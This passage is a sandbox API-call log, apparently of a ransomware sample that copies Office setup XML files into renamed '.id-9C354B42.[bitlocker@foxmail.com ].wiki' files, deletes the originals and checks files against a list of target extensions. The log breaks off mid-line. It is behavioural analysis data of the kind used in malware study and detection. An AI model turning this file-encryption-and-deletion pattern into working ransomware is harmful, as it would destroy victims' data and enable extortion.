lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.430] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0047.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.430] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1231) returned 1 [0047.430] CloseHandle (hObject=0x1dc) returned 1 [0047.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0047.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.431] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.431] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0047.436] GetLastError () returned 0x0 [0047.436] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0047.448] WriteFile (in: hFile=0x1f4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0047.449] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.449] WriteFile (in: hFile=0x1f4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0047.449] SetEndOfFile (hFile=0x1f4) returned 1 [0047.450] CloseHandle (hObject=0x1f4) returned 1 [0047.450] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.450] SetEndOfFile (hFile=0x1dc) returned 1 [0047.451] CloseHandle (hObject=0x1dc) returned 1 [0047.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.451] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0047.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.452] lstrlenW (lpString=".doc") returned 4 [0047.452] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.452] lstrlenW (lpString=".docx") returned 5 [0047.452] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.452] lstrlenW (lpString=".pdf") returned 4 [0047.452] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.452] lstrlenW (lpString=".xls") returned 4 [0047.452] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.452] lstrlenW (lpString=".xlsx") returned 5 [0047.452] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.452] lstrlenW (lpString=".ppt") returned 4 [0047.452] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.453] lstrlenW (lpString=".zip") returned 4 [0047.453] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.453] lstrlenW (lpString=".rar") returned 4 [0047.453] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString=".bz2") returned 4 [0047.453] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString=".7z") returned 3 [0047.453] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.453] lstrlenW (lpString=".dbf") returned 4 [0047.453] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.453] lstrlenW (lpString=".1cd") returned 4 [0047.453] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.453] lstrlenW (lpString=".jpg") returned 4 [0047.453] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.453] lstrlenW (lpString=".doc") returned 4 [0047.453] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString=".docx") returned 5 [0047.453] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.453] lstrlenW (lpString=".pdf") returned 4 [0047.453] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString=".xls") returned 4 [0047.453] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString=".xlsx") returned 5 [0047.453] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.453] lstrlenW (lpString=".ppt") returned 4 [0047.453] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.453] lstrlenW (lpString=".zip") returned 4 [0047.453] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.453] lstrlenW (lpString=".rar") returned 4 [0047.453] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.454] lstrlenW (lpString=".bz2") returned 4 [0047.454] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.454] lstrlenW (lpString=".7z") returned 3 [0047.454] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.454] lstrlenW (lpString=".dbf") returned 4 [0047.454] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.454] lstrlenW (lpString=".1cd") returned 4 [0047.454] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0047.454] lstrlenW (lpString=".jpg") returned 4 [0047.454] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.454] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.454] lstrlenW (lpString="BRANDING.XML") returned 12 [0047.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.464] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=596341) returned 1 [0047.464] CloseHandle (hObject=0x1ec) returned 1 [0047.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0047.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.464] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.464] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.465] GetLastError () returned 0x0 [0047.465] ReadFile (in: hFile=0x1ec, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x91975, lpOverlapped=0x0) returned 1 [0047.478] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0047.675] ReadFile (in: hFile=0x1ec, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.675] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.838] SetEndOfFile (hFile=0x1f0) returned 1 [0047.838] CloseHandle (hObject=0x1f0) returned 1 [0047.843] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.843] SetEndOfFile (hFile=0x1ec) returned 1 [0047.848] CloseHandle (hObject=0x1ec) returned 1 [0047.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.848] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0047.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.998] lstrlenW (lpString=".doc") returned 4 [0047.998] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.998] lstrlenW (lpString=".docx") returned 5 [0047.998] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0047.998] lstrlenW (lpString=".pdf") returned 4 [0047.998] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.998] lstrlenW (lpString=".xls") returned 4 [0047.998] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.998] lstrlenW (lpString=".xlsx") returned 5 [0047.998] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0047.998] lstrlenW (lpString=".ppt") returned 4 [0047.998] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.998] lstrlenW (lpString=".zip") returned 4 [0047.998] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.998] lstrlenW (lpString=".rar") returned 4 [0047.998] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.998] lstrlenW (lpString=".bz2") returned 4 [0047.998] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.998] lstrlenW (lpString=".7z") returned 3 [0047.998] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.999] lstrlenW (lpString=".dbf") returned 4 [0047.999] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.999] lstrlenW (lpString=".1cd") returned 4 [0047.999] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.999] lstrlenW (lpString=".jpg") returned 4 [0047.999] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.999] lstrlenW (lpString=".doc") returned 4 [0047.999] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString=".docx") returned 5 [0047.999] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0047.999] lstrlenW (lpString=".pdf") returned 4 [0047.999] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString=".xls") returned 4 [0047.999] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString=".xlsx") returned 5 [0047.999] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0047.999] lstrlenW (lpString=".ppt") returned 4 [0047.999] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.999] lstrlenW (lpString=".zip") returned 4 [0047.999] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.999] lstrlenW (lpString=".rar") returned 4 [0047.999] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString=".bz2") returned 4 [0047.999] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.999] lstrlenW (lpString=".7z") returned 3 [0047.999] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0047.999] lstrlenW (lpString=".dbf") returned 4 [0048.000] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0048.000] lstrlenW (lpString=".1cd") returned 4 [0048.000] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0048.000] lstrlenW (lpString=".jpg") returned 4 [0048.000] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.000] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.000] lstrlenW (lpString="SETUP.XML") returned 9 [0048.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.043] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=9352) returned 1 [0048.043] CloseHandle (hObject=0x1dc) returned 1 [0048.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0048.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.044] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.044] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.044] GetLastError () returned 0x0 [0048.044] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x2488, lpOverlapped=0x0) returned 1 [0048.046] WriteFile (in: hFile=0x1f4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0048.047] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.047] WriteFile (in: hFile=0x1f4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.047] SetEndOfFile (hFile=0x1f4) returned 1 [0048.047] CloseHandle (hObject=0x1f4) returned 1 [0048.048] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.048] SetEndOfFile (hFile=0x1dc) returned 1 [0048.049] CloseHandle (hObject=0x1dc) returned 1 [0048.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.049] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0048.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.049] lstrlenW (lpString=".doc") returned 4 [0048.049] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.049] lstrlenW (lpString=".docx") returned 5 [0048.049] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.049] lstrlenW (lpString=".pdf") returned 4 [0048.049] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.049] lstrlenW (lpString=".xls") returned 4 [0048.050] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString=".xlsx") returned 5 [0048.050] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.050] lstrlenW (lpString=".ppt") returned 4 [0048.050] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.050] lstrlenW (lpString=".zip") returned 4 [0048.050] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.050] lstrlenW (lpString=".rar") returned 4 [0048.050] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString=".bz2") returned 4 [0048.050] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString=".7z") returned 3 [0048.050] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.050] lstrlenW (lpString=".dbf") returned 4 [0048.050] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.050] lstrlenW (lpString=".1cd") returned 4 [0048.050] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.050] lstrlenW (lpString=".jpg") returned 4 [0048.050] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.050] lstrlenW (lpString=".doc") returned 4 [0048.050] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString=".docx") returned 5 [0048.050] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.050] lstrlenW (lpString=".pdf") returned 4 [0048.050] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString=".xls") returned 4 [0048.050] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.050] lstrlenW (lpString=".xlsx") returned 5 [0048.051] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.051] lstrlenW (lpString=".ppt") returned 4 [0048.051] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 